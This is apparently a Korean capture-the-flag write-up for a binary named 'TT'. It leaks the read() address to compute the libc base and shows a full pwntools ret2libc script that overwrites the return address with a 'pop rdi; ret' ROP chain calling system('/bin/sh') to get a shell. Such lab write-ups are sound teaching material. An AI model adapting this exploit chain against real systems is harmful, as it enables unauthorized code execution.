

C코드를 보자. 그렇게 어려워 보이지는 않는다!
read의 실제 주소를 알려주고 있으니, 이를 통해 libc_base의 주소를 구하고 system 함수와 /bin/sh의 실제 주소를 구해서 ret를 덮으면 될 것 같다!

라이브러리를 확인하고, read 함수와 system 함수의 offset을 찾았다.

추가로 /bin/sh의 offset까지 찾았다.

마지막으로, 64bit이기에 ‘pop rdi; ret’와 ‘ret’의 gadget까지 구했다.
from pwn import *
p = process("./TT")
read_offset = 0x114980
system_offset = 0x50d60
binsh_offset = 0x1d8698
pop_rdi = 0x004012d3
ret = 0x0040101a
p.recvuntil("gift:) - ")
rd = int(p.recvline().strip(), 16)
libc_base= rd - read_offset
system = libc_base + system_offset
binsh = libc_base + binsh_offset
log.info(hex(libc_base))
payload = b'A' * 0x18
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)
sleep(0.3)
p.sendline(payload)
p.interactive()
exploit코드는 위와 같다. 출력된 read의 실제 주소를 rd에 저장해서 libc_base를 구했다. 그리고 system 함수와 /bin/sh의 실제 주소를 구한다.
마지막으로 buf에 입력 받을 때, buf와 sfp를 dummy로 덮고, ret에 pop rdi; ret 가젯, /bin/sh, ret, system 함수 실제 주소를 순서대로 입력해주었다.

쉘 따내기 성공!